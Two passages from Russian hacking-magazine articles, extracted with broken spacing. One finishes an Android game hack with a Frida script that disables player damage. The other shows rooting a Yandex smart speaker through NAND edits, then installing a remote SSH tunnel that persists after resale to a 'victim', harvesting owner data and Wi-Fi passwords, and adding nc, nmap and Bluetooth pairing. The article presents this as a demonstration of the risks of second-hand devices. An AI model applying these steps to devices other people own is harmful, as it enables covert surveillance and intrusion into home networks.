надс трой ка для инс тру мен та , которая исполь зует ся для деком -
пиляции, модифи кации и пов торной сбор ки APK-фай лов. Что бы про пат чить
наш APK, выпол ним сле дующие дей ствия:

APK Tool GUI
Apktool

вы берем и деком пилиру ем целевой APK (пос ле дол жна появить ся пап ка
с наз вани ем APK);

•

от кро ем файл  и поменя ем
в нем адре са;

• \assets\profile\config\servers.cfg

ском пилиру ем все изме нения в новый APK (ука зыва ем путь до пап ки).•

Пат чинг APK

Пос ле пов торной уста нов ки про пат ченно го APK заходим в раз дел сетевой
игры и сно ва видим попыт ку под клю чить ся по ста рому адре су. А все дело
в том, что каж дый раз при запус ке игры она зап рашива ет спи сок игро вых сер -
веров у мас тер-сер вера и записы вает его в 

, а при запус ке сетевой игры уже непос редс твен но берет их
из . То есть файл переза писы вает ся каж дый раз при запус ке,

и наш патч не име ет смыс ла. Поэто му мы поп робу ем вос поль зовать ся вто рым
методом и перенап равить тра фик.

\assets\profile\config\
servers.cfg

servers.cfg

По пыт ка под клю чения к ста рому сер веру

Ðóòóåì óñòðîéñòâî
Преж де чем нас тра ивать перенап равле ние тра фика, нам нуж но рутануть
наше вир туаль ное устрой ство. Для это го исполь зуем скрипт .
При рутин ге оставь толь ко целевой эму лятор, ина че ничего не получит ся.

rootAVD

До бав ляем Android SDK в перемен ные окру жения:

set PATH=%LOCALAPPDATA%\Android\Sdk\platform-tools;%PATH%

За пус каем скрипт с парамет ром , который показы вает спи сок

всех вир туаль ных устрой ств:

ListAllAVDs

rootAVD.bat ListAllAVDs

За пус каем скрипт, в парамет ре которо го ука зыва ем образ для рутова ния:

rootAVD.bat system-images\android-35\google_apis_playstore\x86_64\
ramdisk.img

О том, что все прош ло успешно, будет говорить уста нов ленное при ложе ние
Magisk.

Те перь ста вим модуль  — он нам понадо бит ся
при перех вате тра фика. Запус кай Magisk и перехо ди в раз дел Modules. Заг -
ружен ный Always Trust User Certs перене си в эму лятор и жми Install from
storage. Модуль отоб разит ся в спис ке, если он успешно уста нов лен.

Always Trust User Certs

Ус пешное рутова ние устрой ства и уста нов ленный модуль Always Trust
User Certs

Ïåðåíàïðàâëÿåì òðàôèê ÷åðåç Burp Suite
Пе ренап равлять тра фик мы будем через  — это набор инс тру мен -
тов для тес тирова ния безопас ности веб-при ложе ний. Сна чала нам понадо -
бит ся  прок си, что бы тра фик про ходил через Burp.

Burp Suite

нас тро ить

Пе ренап равле ние тра фика через прок си

Пункт с сер тифика том мож но про пус тить, так как он находит ся в модуле
Always Trust User Certs для Magisk и уже уста нов лен на устрой стве. Пер вым
делом узна ем адрес и порт прок си-сер вера — .127.0.0.1:8080

Нас трой ка прок си в Burp Suite

В эму лято ре в нас трой ках сети про писы ваем прок си с адре сом 10.0.2.2
(потому что localhost) и пор том .8080

Нас трой ка прок си в эму лято ре

Продолжение статьи →
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МЕНЯЕМ ЛЮБЫЕ ПАРАМЕТРЫ
В ИГРЕ  ДЛЯ ANDROID

COVERSTORY  НАЧАЛО СТАТЬИ

На при мере зап роса к мас тер-сер веру убе дим ся, что перех ватчик вклю чен
и работа ет.

От вет от сер вера

Пе рей дем на вклад ку Match and Replace и соз дадим пра вила. Жми  и про -

писы вай замену адре сов и пор тов в теле отве та от мас тер-сер вера нашим
локаль ным адре сом и пор том, который исполь зует ся по умол чанию на нашем
локаль ном игро вом сер вере, — 28763.

Add

По иск и замена зна чений в отве те от сер вера

Те перь игра пыта ется под клю чить ся к нашему сер веру, но соеди нение уста -
новить не может.

Не удач ная попыт ка под клю чения к сер веру

По логам сер вера суть ошиб ки тоже не понять. Что мог ло пой ти не так? Веро -
ятно, кли ент у нас для Android, а сер вер обслу жива ет толь ко вер сию игры
для Windows. Решение этой проб лемы выходит за рам ки нашего пла на, так
что прос то идем даль ше — сде лаем чит для игры.

Не удач ная попыт ка под клю чения кли ента

ÏÈØÅÌ ×ÈÒ

В прош лой статье мы уже убе дились, что в вер сии игры для Windows оди ноч -
ный режим и муль тип леер работа ют оди нако во, да и реверс вер сии
для Android под твер дил этот факт. Так что отсутс твие сер вера нас ни в чем
не огра ничит.

Ис кать мы сегод ня будем ста тичес кий адрес игро ка, его имя, а так же
адрес фун кции получе ния уро на, что бы в даль нейшем этот урон для нас
отклю чить.

Èùåì çíà÷åíèÿ
Изу чая деком пилиро ван ный код, мож но заметить, что он доволь но малень кий
и в нем нет игро вой логики. В уго ду про изво дитель нос ти вся она реали зова на
через натив ную биб лиоте ку . Она заг ружа ется

и работа ет в кон тек сте нашего APK.

\lib\x86_64\libmain.so

По иск натив ной биб лиоте ки

От кры ваем нашу биб лиоте ку в IDA Pro и видим, что нам улыб нулась уда ча: все
сим волы сох ранены, отла доч ная информа ция — тоже. Это сэконо мит нам
кучу вре мени на поис ке.

От ладоч ные сим волы

Нем ного полис тав спи сок фун кций, находим про цеду ру получе ния уро на
под наз вани ем  с адре сом . Она при нима ет шесть аргу мен -

тов, пер вые три из которых нам и нуж ны:

dodamage 0x9BE40

урон;•
иг рок, получа ющий урон;•
иг рок, нанося щий урон.•

Так же мы видим, что эта фун кция исполь зует ста тичес кий ука затель
на нашего игро ка ( ). Это нуж но на слу чай, если игрок, получа ющий

урон, — это мы. Тог да игра дол жна обно вить наш уро вень здо ровья, а так же
вос про извести зву ковые эффекты.

0x32DF98

Фун кция получе ния уро на

Пос леднее, что нам понадо бит ся, — это сме щение  до име ни игро ка

в струк туре . Оно нуж но для того, что бы выводить, кто сколь ко

получа ет уро на.

0x241
playerent

Класс игро ка

Frida — òóëêèò äëÿ äèíàìè÷åñêîé èíñòðóìåíòàöèè
Что бы запус кать чит, нам понадо бит ся  — инс тру мент для динами чес кого
внед рения и исполне ния кода внут ри работа ющих при ложе ний, который
помога ет иссле довать и модифи циро вать их поведе ние на лету.

Frida

Ус тановить кли ент скую часть Frida мож но коман дой 

. Для сер верной час ти Frida, которая будет работать в эму лято ре

и общать ся с кли ент ской частью, нам нуж но узнать архи тек туру эму лиру емо го
устрой ства и ска чать соот ветс тву ющую сбор ку .

pip install frida-
tools

frida-server

Оп ределе ние раз ряднос ти эму лято ра и нуж ной для него сбор ки frida-
server

Те перь надо уста новить frida-server на рутован ное устрой ство, без рута мы
это го сде лать не смо жем. Уста нав лива ем сле дующи ми коман дами.

Заг ружа ем frida-server на устрой ство:

adb push frida-server-16.7.14-android-x86_64 /data/local/tmp/frida-
server

От кры ваем коман дную обо лоч ку:

adb shell

Пе рек люча емся на супер поль зовате ля:

su

От клю чаем огра ниче ния безопас ности:

setenforce 0

Да ем пра ва на запуск:

chmod 775 /data/local/tmp/frida-server

За пус каем frida-server для работы с Frida:

/data/local/tmp/frida-server &

Сто ит упо мянуть, что у Frida очень хорошая . А так же сущес тву ет
 — онлайн-сер вис, свя зан ный с Frida, который поз воля ет

поль зовате лям хра нить, прос матри вать и исполь зовать скрип ты Frida
и делить ся ими.

до кумен тация
Frida Code Share

Îòêëþ÷àåì óðîí
Пос ле того как мы наш ли все нуж ные нам зна чения, а так же уста нови ли Frida
и frida-server, соз даем файл  и пишем код чита, который отклю -

чает урон для нашего игро ка.

cheat_ac.js

// Java.perform ставит нашу функцию в очередь и запускает ее именно 
тогда, когда Java-окружение готово

 Java.perform(function () {
    // Получение базового адреса библиотеки
       var base = Module.findBaseAddress("libmain.so");
     if (base) {
        console.log("found base");
    }
     else {
        console.log("couldn't find base");
    }

     try {
    // Перехват вызова нативной функции dodamage

            var interceptor = Interceptor.attach(base.add(0x9BE40), {
              onEnter: function (args) {

          // Получение указателя на нашего игрока
                   var player_rva = ptr(0x32DF98);
                    var player_ptr = base.add(player_rva);
                   var player = Memory.readPointer(player_ptr);

        // Имя того, кто получает урон, и имя того, кто его наносит
                   var name_rva = ptr(0x241);

                   var name_ptr_pl = args[1].add(name_rva);
                   var name_pl = Memory.readUtf8String(name_ptr_pl);

                   var name_ptr_actor = args[2].add(name_rva);
                   var name_actor = Memory.readUtf8String(name_ptr_actor

);

                // Сравнение с тем, кто получает урон: если это наш 
игрок, то урона мы не получим

                   if (player.toInt32() === args[1].toInt32()) {
                      args[0] = ptr(0);

  
   

                    console.log(name_pl, "got damage", args[0].
toInt32(), "from", name_actor, "but got 0 damage")

                  } else {
  

  
                    console.log(name_pl, "got damage", args[0].
toInt32(), "from", name_actor);
                }
            }
        });
      } catch(error) {
        console.error("error attaching")
    }
});

Ïðîâåðÿåì
За пус каем наш чит через коман дную стро ку сле дующей коман дой:

frida -D emulator-5554 -n AssaultCube -l cheat_ac.js

Вот что зна чит каж дый из парамет ров:
 — под клю чить ся к устрой ству с задан ным иден тифика тором;• -D
 — под клю чить ся к про цес су с задан ным име нем;• -n
 — заг рузить передан ный скрипт.• -l

Про вер ка работос пособ ности чита

ÂÛÂÎÄÛ

Итак, мы изу чили, из чего сос тоят при ложе ния для Android, научи лись нас тра -
ивать эму лятор, пат чить APK, рутовать устрой ство и перенап равлять тра фик.
Затем поз накоми лись с Frida, научи лись ее при менять и написа ли чит,
который отклю чает получе ние уро на игро ком.

https://frida.re/docs/home/
https://github.com/frida/frida/releases
https://frida.re/docs/
https://codeshare.frida.re/


Nednik
Инженер

project@nedosekov.ru

ВЗЛОМ

«Они сле дят за тобой через нее!» — навер -
няка каж дый вла делец умной колон ки слы -
шал это от кого-то или даже сам так дума ет.
Про изво дите ли, конеч но, опро вер гают
подоб ные домыс лы, но, даже если они
шпи онских фун кций не зак ладыва ли, теоре -
тичес ки такая воз можность есть. Я решил
пос тавить экспе римент и пос мотреть,
может ли колон ка обер нуть ся шпи оном.

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем,
наруше ние тай ны перепис ки, прос лушива ние
раз говоров и чте ние перепис ки граж дан без их
сог ласия прес леду ется по закону.

От части это про дол жение прош лой статьи про Rabbit Hole, поэто му мы
наконец най дем норы в сис теме.

Все опы ты я буду делать, как и в прош лой статье, на колон ке «Яндекс
Лайт» (YNDX-0025), но все точ но так же сра бота ет на моделях «Лайт 2»,
«Мини 2», «Стан ция 2» и «Мини 3». Опы ты про вожу с одной ого вор кой: в целях
безопас ности все методы неус той чивы к пол ному сбро су устрой ства! То есть
дос таточ но зажать кноп ку сбро са про шив ки при вклю чении, и все изме нения
сот рутся.

На самом деле все колон ки «Яндекса» при пол ном
сбро се отка тыва ют свою про шив ку до началь ной
вер сии, записан ной при про изводс тве.

Ко лон ки «Яндекса» име ют два режима сбро са:
пол ный сброс, при котором откат идет до самой началь ной вер сии;•
сброс акка унта: про шив ка оста ется, но ста рый акка унт уда ляет ся, и колон -
ка готова к новой при вяз ке.

•

Мы будем рас смат ривать вто рой режим по сле дующе му пла ну:
1. Получе ние root-дос тупа к устрой ству.
2. Уда лен ное управле ние через SSH или Tuna.
3. Ска ниро вание сетевых интерфей сов, вклю чая Bluetooth.
4. Запись аудио с помощью arecord.
5. Перех ват тра фика колон ки через tcpdump, Wireshark или sshdump.

Пос коль ку YNDX-0025 работа ет на ядре Linux с некото рыми фун кци ями
от Android, пер вым делом нуж но получить root-дос туп к сис теме.

Прог рамма баг хантин га «Яндекса»  отче ты, где обна ружен -
ные проб лемы тре буют физичес кого вме шатель ства в устрой ство, осо бен но
пай ки мик росхем.

не при нима ет

Но в этот раз я в баг баун ти не учас твую, поэто му сра зу орга низо вал себе root
с помощью переп рограм мирова ния NAND. Для это го пот ребу ется «сдуть»
NAND и счи тать дамп с помощью прог рамма тора.

Пла та с NAND

Я работаю с TL866II Plus. Это не самый топовый прог рамма тор, но он недоро -
гой и помог мне, ког да я начинал раз бирать ся с про шив ками «Яндекс Стан -
ции». По сути, прог рамма тор толь ко счи тыва ет и записы вает дам пы, у него
нет фун кции перес чета ECC или работы с фай ловыми сис темами, как, нап -
ример, у UFPI. Так что здесь нуж но нем ного навыков, что бы пра вить дам пы.

Сто ит отдель но упо мянуть, что на началь ном эта пе про изводс тва «Яндекс»
не ста вил пароли на USB-пор ты сво их колонок, таких как «Мини 2» (YNDX-
0020/21) и «Лайт» (YNDX-0025). Эти колон ки могут работать как прог рамма -
торы, пос коль ку под держи вают чте ние и запись NAND через ути литу update,
кон тро лируя бэд-бло ки и перес читывая ECC. Это, конеч но, удоб но, но таких
устрой ств сей час поч ти не най ти. Если колон ка была под клю чена к умно му
дому при мер но с лета 2024 года, то, ско рее все го, на нее уже уста нов лен
пароль.

ÔÈÇÈ×ÅÑÊÎÅ ÂÌÅØÀÒÅËÜÑÒÂÎ

Под робнос ти раз бора колон ки я показы вать не буду, но в сети пол но виде -
оро ликов, да и сам про цесс нес ложный. Преж де чем отпа ивать NAND, мы
«про дуем» все нож ки мик росхе мы при помощи флю са и обыч ного при поя.
Не пережи вай, если меж ду нож ками оста нут ся излишки при поя, — они
не помеша ют. Это нуж но, что бы раз бавить завод ской при пой, который обыч -
но более тугоп лавкий.

От паиваем, прог ревая феном одну полови ну ножек мик росхе мы, и, ког да
при пой рас пла вит ся, под дева ем пин цетом и акку рат но при под нима ем край.
То же про делы ваем с дру гой сто роной. Рекомен дую исполь зовать ниж ний
подог рев пла ты — это дела ет про цесс отпа ива ния более ком фор тным. Что бы
не пог нуть нож ки, убе дись, что они дос таточ но наг релись, покачи вая их
вверх-вниз без силь ного нажима.

Пос ле отпа ива ния зачисть пла ту от бугор ков ста рого при поя с помощью
мед ной оплетки и флю са. Будь акку ратен и не ста рай ся слиш ком усер дно,
что бы не сте реть часть мас ки дорожек! Мик росхе му затем про моем спир том
и убе дим ся, что нож ки не пог нуты и меж ду ними нет остатков при поя. Затем
помеща ем мик росхе му в карет ку переход ника прог рамма тора и начина ем
счи тыва ние.

Мик росхе ма в прог рамма торе

Сра зу сде лай резер вную копию счи тан ного дам -
па, что бы не потерять важ ные дан ные для авто -
риза ции в учет ной записи. Осо бен но это каса ется
области с помет кой AMLSECURITY! и раз дела NV,
где хра нит ся файл с обфусци рован ным име нем:
416D6C4B65796D61737465724D61737465

724B657900
Ес ли его потерять, добавить устрой ство в учет -

ную запись будет невоз можно. При чины я нашел,
но метод вос ста нов ления еще пред сто ит дорабо -
тать.

ÏÐÀÂÈÌ ÄÀÌÏ

Как и в любом Linux, в фай ловой сис теме «Стан ции» есть пап ка ,
в которой мож но най ти:

/etc

shadow;•
passwd;•
inittab.•

Shadow

Passwd

Прос мотрев пер вые два, мож но обна ружить, что поль зователь root сущес тву -
ет и у него нет пароля. В  есть стро ка ини циали зации кон соли,

которая отли чает ся от стан дар тной.

inittab

Inittab

А имен но  (Rabbit Hole час тично обсужда ли в 
) вмес то . Даль ше сле дуем по пред став ленно му пути и изу чаем

содер жимое.

getty_rabbit_hole пре дыду щей
статье getty

По ка я писал эту статью, на « » вышел
пост про похожий флаг, но в дру гом мес те и для
дру гой колон ки («Мини 1»), да и содер жимое нем -
ного дру гое. Но суть та же.

Хаб рахаб ре

Ока зыва ется, если попасть в сис тему через Rabbit Hole, то допол нитель но
акти виру ется воз можность вой ти в сис тему через UART-кон соль Linux, а не
толь ко CLI U-Boot.

Воз вра щаем ся в  и пра вим стро ку  на .
Для это го в сыром дам пе прос то заменим сим волы пос ле  про бела ми,

что бы раз мер фай ла не изме нил ся и дамп остался на мес те. Это очень важ -
но.

inittab getty_rabbit_hole getty
getty

Да лее нуж но перес читать ECC. Спо соб перес чета я пока рас крыть
не могу, но сде лал Telegram-бота , который поможет перес -
читать ECC для бло ка раз мером 512 + 2 бай та (дан ные и user bytes). Он при -
нима ет фай лы в фор мате bin, которые лег ко сде лать с помощью любого Hex-
редак тора или коман дой dd.

@AmlEcc_bot

Ра бота бота

По жалуй ста, не наг ружай бота слиш ком боль -
шими бло ками тек ста, ина че я его отклю чу.

У фай ловой сис темы system (rootfs) нет про вер ки вро де vbmeta, так что все
изме нения про ходят без проб лем!

С нас трой кой сис темы закон чили, теперь нам нуж но раз решить кон соль
UART в U-Boot. Флаг silent огра ничи вает вывод логов и зап реща ет ввод через
UART-кон соль. Этот параметр нас тра ивает ся в скрип тах U-Boot, называ емых
env (environment), для бло киров ки он выг лядит так: .silent=1

Под робнее — в  U-Boot.до кумен тации

Лог затыка ется пос ле silent=1

В этом слу чае, как толь ко U-Boot счи тыва ет эти зна чения, он перес тает
выводить логи в кон соль. Скрип ты env хра нят ся в нес коль ких копи ях в дам пе,
поэто му меня ем зна чение на silent=0 и перес читыва ем ECC через бота. Поп -
равь все копии или поп робуй оста вить одну рабочую, испортив осталь ные.
Экспе римен тируй!

Те перь записы ваем дамп на NAND и воз вра щаем ее на пла ту колон ки. Про -
веря ем, что бы не было никаких «соп лей», отмы ваем флюс спир том. И... нет!
Ничего не выходит!

Все дело в том, что, кро ме ECC, необ ходимо счи тать CRC для env и UBIFS.
Это воз можно, но тре бует боль ше уси лий. Если ты захочешь при менить этот
метод, при дет ся самос тоятель но перес читать кон троль ные сум мы. В этом
очень помогут  и . Как толь ко все изме -
нения будут вне сены, сис тема запус тится и выведет под робный лог заг рузки.

Stack Overow UBIFS Checksumming

По ломан ная заг рузка

Лог успешно го стар та с silent=0

Старт ядра

В кон це лога видим завет ное...

login:

Кста ти, нас чет UART — под клю чай ся через переход ник. Есть 
, который под ходит к нес коль ким моделям колонок «Яндекса».

уни вер саль ный
вари ант

ÓÐÀ, ÂÎØËÈ!

Па роля нет, поэто му прос то вво ди  и заходи. Теперь у нас пол ноцен ная

кон соль с блек-дже ком и Али сой. Мож но пошарить ся по сис теме, заг лянуть
в пап ки, стя нуть кон фиг ядра с помощью коман ды .
Но учти, через UART это не очень удоб но. В про цес се копания ты быс тро най -
дешь скрипт , который акти виру ет

ADB в Linux (по край ней мере, очень похоже на Linux)!

root

cat /proc/config.gz

/system/vendor/quasar/activate_adb.sh

Вы пол няем такую коман ду:

 /system/vendor/quasar/activate_adb.sh --all --network activate

Во вре мя вво да могут лезть логи и сби вать отоб -
ражение, но не пережи вай: твоя коман да не сти -
рает ся. Прос то дописы вай и нажимай Enter.

Ког да скрипт завер шит работу, под клю чись к колон ке через USB и про верь
резуль тат с помощью .инс тру мен тов Google

adb shell

ADB запус кает ся без паролей и сра зу пре дос тавля ет пра ва root.

До каза тель ство, что это колон ка

Те перь UART-кон соль нам боль ше не нуж на, она оста ется толь ко для наб -
людения за поведе нием устрой ства. Всю работу будем делать через ADB,
к которо му мож но под клю чить ся даже по сети. Для это го колон ка дол жна быть
под клю чена к Wi-Fi (вруч ную или через при ложе ние «Яндекс»).

Все, что опи сано выше, я бы не наз вал взло мом. Это прос то кон фигури -
рова ние сис темы, за исклю чени ем, пожалуй, прав ки дам па NAND.

ÍÅÎÆÈÄÀÍÍÎ — OSINT!

Для начала про верим колон ку на шпи онаж и заг лянем в пап ку , осо бен -

но если учесть, что прог рамма баг хантин га «Яндекса» име ет одну доволь но
любопыт ную при пис ку.

/data

Ес ли колон ка была при вяза на к умно му дому, там точ но будет на что пос -
мотреть.

Дан ные о геопо зиции

Продолжение статьи →

https://yandex.ru/bugbounty/i/smart-devices
https://xakep.ru/2025/05/13/yandex-rabbit-hole/
https://xakep.ru/2025/05/13/yandex-rabbit-hole/
https://habr.com/ru/articles/910308/
https://t.me/AmlEcc_bot
https://github.com/ARM-software/u-boot/blob/master/doc/README.silent
https://stackoverflow.com/questions/69169297/u-boot-script-bad-header-crc
http://www.linux-mtd.infradead.org/doc/ubifs.html
https://dzen.ru/a/Z9vp1eZg6VGJ2IIp
https://dzen.ru/a/Z9vp1eZg6VGJ2IIp
https://developer.android.com/tools/releases/platform-tools?hl=ru


КАК «ЯНДЕКС СТАНЦИЯ» МОЖЕТ
ПРЕВРАТИТЬСЯ В ШПИОНСКИЙ

ГАДЖЕТ

ВЗЛОМ  НАЧАЛО СТАТЬИ

Те лефон

Поч та

Ко лон ка зачем-то хра нит твой номер телефо на, элек трон ную поч ту и геопо -
зицию! При чем про читать эти дан ные мож но даже в дам пе. Коор динаты ука -
зыва ют на центр города, но не спе ши — впе реди куча логов для изу чения.
В ито ге мои поис ки при вели в пап ку , в файл . При -

ложе ние зачем-то захоте ло узнать, где я живу, и записа ло это в лог (я нем -
ного смес тил коор динаты, что бы не рас кры вать свой дом), при этом точ ность
высокая — ука зан мой подъ езд. Далее в логе есть сме на геопо зиции
на центр города с ком мента рием «Got new device cong:», но дан ные уже зас -
вечены.

daemons_logs maind.log

Лог maind c дан ными о геопо зиции

Точ ная геопо зиция

Под менен ная геопо зиция

Итак, пер вый урок: колон ка, про дан ная на «Ави то» без пред варитель ной
очис тки, может рас крыть лич ную информа цию вла дель ца. Капитан Оче вид -
ность под ска жет: «Сбра сывай дан ные перед про дажей!», но, если колон ка
сло малась (как это час то быва ет), сбро сить дан ные уже не получит ся. Офи -
циаль ных сер висных цен тров поч ти нет, и тех ника отправ ляет ся на про дажу
как есть.

Ког да нас тра иваешь Wi-Fi через при ложе ние «Яндекс», парамет ры сети
сох раня ются в фай ле  в откры том виде. В этом фай ле

могут быть сох ранены нас трой ки нес коль ких сетей. При под клю чении
к новому Wi-Fi при ложе ние добав ляет записи в этот файл.

/data/wpa_supplicant

Это не проб лема имен но «Яндекса», так пос тро ен сам .wpa_supplicant

Точ ки дос тупа

По ка я не углублял ся в иссле дова ние сетевых при ложе ний «Яндекса» и отло -
жил изу чение токенов авто риза ции. Они хра нят ся в фай ле 

, а его фор мат лег ко вос ста нав лива ется из логов колон ки. Воз можно,
это ста нет темой для сле дующих ста тей.

account_storage.
dat

Все это пока не тянет на баг хантинг. Нам на такие наход ки навер няка ска -
жут: «Мы зна ем, но исправ лять не будем. Пусть работа ет как работа ет —
это же не опас но!» Конеч но, физичес кий дос туп к устрой ству ско рее еди нич -
ный слу чай, чем мас совый, но дру гие про изво дите ли защища ют дан ные поль -
зовате лей шиф ровани ем папок. Нап ример, Sonos One Gen2: его фай ловую
сис тему хоть и рас шифро вал Blasty (#HITB2023AMS), но он далеко не прос -
той парень с прог рамма тором и парой часов вре мени. Нам же все дос талось
на блю деч ке.

В про шив ках стан ций «Макс» и «ТВ» пап ку 
уже начали шиф ровать, но про изош ло это не сра -
зу.

/data

В пап ке  лежат логи работы при ложе ний и демонов ( ).
Это может при годить ся в работе, но давай прод винем ся даль ше и пос мотрим
дос тупные коман ды shell. При необ ходимос ти добавим свои.

/data daemons_logs

Со дер жимое daemons_logs

ØÅËË

Что бы уви деть спи сок команд, прос то дваж ды наж ми Tab, и ты получишь пол -
ный перечень, при чем он доволь но неп лох!

По сути, мы име ем пол ноцен ный шелл с кучей ути лит, есть даже cron. Все
коман ды работа ют без огра ниче ний, никаких защит типа SELinux здесь нет.
Для сле дующих эта пов у нас есть все, что нуж но: ути литы для работы
с Bluetooth, и modprobe — для под клю чения сво их модулей ядра, если они
пот ребу ются.

Ко ман ды Bluetooth:
;• hciattach
;• hciconfig

;• hcidump
;• hcitool

;• hciattach_sprd
;• bluealsa

;• bluealsa-aplay
;• bluemoon

;• bluetoothctl
;• bt-adapter

;• bt-agent
;• bt-device

;• bt-network
;• bt-obex

;• btattach
.• btmon

Пе речень дос таточ но хорош, мож но поп робовать про вер нуть какие-нибудь
экс плу ата ции уяз вимос тей устрой ств вок руг колон ки!

Для редак тирова ния фай лов мож но исполь зовать vi. Одна ко, что бы сох -
ранить изме нения, нуж но перемон тировать фай ловую сис тему, так как она
обыч но помече на как  (Read Only). Сме нить режим прос то:ro

mount -o remount,rw /

Те перь ты волен делать все, что захочешь, — пра вить кон фиги, добав лять
свои фай лы в пап ки и так далее.

Мы добавим:
;• Nmap

;• nc
;• GDB

.• Tuna

Мож но соб рать их и самос тоятель но, но я нашел , из которо го
ска чал готовые бинар ники.

ре пози торий

ÒÓÍÍÅËÜ Â ÎÁÕÎÄ

Да вай нас тро им тун нель, который даст нам уда лен ный дос туп, как толь ко
колон ка ока жет ся у условной жер твы.

Под держу оте чес твен ного раз работ чика и при меню для дос тупа к колон ке
ути литу , я ее исполь зую для отладки вся чес ких Telegram-ботов
и веб-при ложе ний на локаль ном компь юте ре, но недав но в ней появи лась
воз можность под нимать SSH-сер вер и под клю чать ся к нему, не имея пос -
тоян ного IP. Этот инс тру мент нам отлично при годит ся и в этом слу чае.

Tuna

Про цес сор колон ки при над лежит к семей ству AArch64, поэто му здесь
подой дут некото рые прог раммы, ском пилиро ван ные для Raspberry Pi, вклю -
чая Tuna. Уста нав ливать их не будем, а прос то ско пиру ем ска чан ный с сай та
исполня емый файл через ADB в пап ку ./data

Ка чаем, закиды ваем и даем пра ва на выпол нение:

curl  
 |   - 

-sfSL "https://releases.tuna.am/tuna/latest/tuna_linux_arm64.
tar.gz" tar -f -xz
adb push ./tuna /data/
adb shell chmod +x /data/tuna

Сле дуя инс трук циям из лич ного кабине та Tuna, нас трой свой токен дос тупа.
Пос ле это го все дол жно быть готово для про вер ки!

И сно ва все пош ло не так! Проб лема — в отсутс твии сер тифика тов: колон -
ка — это не обыч ный компь ютер на Linux, поэто му сис тема уре зана. Мой
товарищ с ником Mamaich пред ложил пос мотреть в сто рону curl и нас трой ки
его сер тифика тов, так как, веро ятно, исполь зует ся тот же механизм. Я пошел
изу чать  и вско ре нашел все необ ходимое.офи циаль ную докумен тацию

Смысл в том, что перемен ной окру жения  мож но задать путь

к поль зователь ско му SSL-сер тифика ту. Но какой сер тификат выб рать? Изу чая
содер жимое пап ки , я нат кнул ся на сер тификат

«Яндекса» для работы фир менно го при ложе ния. Почему бы не поп робовать?

SSL_CERT_FILE

/system/vendor/quasar/

Вы пол няем:

export SSL_CERT_FILE=/system/vendor/quasar/ca-certificates.crt

Те перь про веря ем. Нуж но сно ва перемон тировать фай ловую сис тему с воз -
можностью записи.

Те перь все отлично! Мож но запус тить SSH-сер вер!

Сер вер запущен, про веряю под клю чение через телефон с помощью при -
ложе ния JuiceSSH.

Под клю чение прош ло успешно, колон ка выпол няет коман ды. Что бы сер вер
авто мати чес ки запус кался пос ле перезаг рузки, нуж но внес ти изме нения
в файл ./system/vendor/run.sh

Прав ка в vi

Пос ле перезаг рузки в лич ном кабине те Tuna видим, что появил ся тун нель.
Про буем под клю чить ся к нему с нашим ста тичес ким паролем.

Те перь все работа ет, и мы можем под клю чать ся к колон ке уда лен но через
SSH. Воз можно, это не самый высоко тех нологич ный и прод винутый метод,
но цели мы дос тигли: с минималь ными уси лиями научи лись исполь зовать
колон ку как шпи она.

Я намерен но не при вожу информа цию по отклю -
чению ОТА-обновле ний. Эта статья — демонс тра -
ция опас ностей колонок с рук, а не руководс тво
к дей ствию!

Мы получи ли уда лен ное управле ние, а зна чит, новый поль зователь добавил
колон ку в умный дом. Теперь мож но ста щить дан ные о телефо не, учет ной
записи и мес тополо жении. Дос таточ но прос то ска чать нес коль ко фай лов,
а затем про дол жить раз ведку по дру гим каналам.

ÙÓÏÀÅÌ BLUETOOTH

Нач нем с Bluetooth: для работы с ним дос таточ но встро енных команд. В пер -
вую оче редь исполь зуй bluetoothctl. Это интерфейс коман дной стро ки,
который дает те же воз можнос ти, что и Bluetooth на телефо не или ПК. Ути лита
поз воля ет ска ниро вать устрой ства вок руг и выпол нять соп ряжение. Кто же
отка жет Али се в соп ряжении?!

Пе речень команд ути литы

Нач нем со ска ниро вания: вок руг моей колон ки най дено нес коль ко устрой ств,
выводят ся их MAC-адре са, а у некото рых даже под писано имя. Для демонс -
тра ции вклю чу Bluetooth на сво ем телефо не Nokia XR20.

Те лефон в сети

Продолжение статьи →

https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/post-exploitation/03-tools
https://tuna.am/
https://curl.se/docs/sslcerts.html


КАК «ЯНДЕКС СТАНЦИЯ» МОЖЕТ
ПРЕВРАТИТЬСЯ В ШПИОНСКИЙ

ГАДЖЕТ

ВЗЛОМ  НАЧАЛО СТАТЬИ

Те перь, ког да телефон най ден в спис ке, копиру ем его MAC и вво дим коман ду
 для соеди нения. На телефо не появит ся экран с зап росом на под клю -

чение и код, который сов пада ет с тем, что мы видим в кон соли.

pair

Сог лаша емся и отклю чаем ска ниро вание, даль ше сра зу же зап росим
информа цию о под клю чен ном устрой стве. В спис ке видим кучу полей:
и понят ных, и не очень. Меж ду тем колон ка при соеди нилась как ауди оус трой -
ство, и телефон может посылать ей звук, она же, в свою оче редь, может
регули ровать гром кость телефо на!

Для ска ниро вания мож но исполь зовать ути литу hcitool. Давай запус тим скан
и с ее помощью.

Мож но поп робовать про вер нуть дей ствия из статьи « »,
или поп робовать запус тить дру гие экс пло иты для Bluetooth-устрой ств в сети,
или поменять про филь устрой ства и стать, нап ример, кла виату рой! Воз -
можно, это будет темой одной из сле дующих ста тей.

DoS на Bluetooth

ÑÊÀÍÈÐÓÅÌ ÑÅÒÈ

Для ска ниро вания локаль ной сети нам понадо бит ся ути лита Nmap. По умол -
чанию она не уста нов лена, поэто му уста новим сами. Мож но через ADB
или же через SFTP (такое под клю чение работа ет поверх SSH, ничего допол -
нитель но ста вить не нуж но).

Мо жем ска чать , ско пиро вать ее на устрой ство, и она
зарабо тает. Сле дом запус каем и ска ниру ем. Опи сание изощ ренных при емов
с Nmap оставлю дру гим авто рам и покажу здесь лишь нес коль ко прос тых при -
меров для наг ляднос ти.

ста тичес кую вер сию

Уже неп лохо, мы видим устрой ства в сети и можем поп робовать пос тучать ся
на роутер. Вдруг там пароль по умол чанию вро де ? Это даст нам
еще боль ше сво боды. В ито ге устрой ство может стать мос тиком, с помощью
которо го зло умыш ленник получит дос туп к тво ей домаш ней сети.

admin:admin

ÑËÓØÀÅÌ

Звук мож но перех ватывать из тра фика Quasar или нап рямую с мик рофонов
с помощью ути литы arecord, которая уже уста нов лена. Я вос поль зовал ся
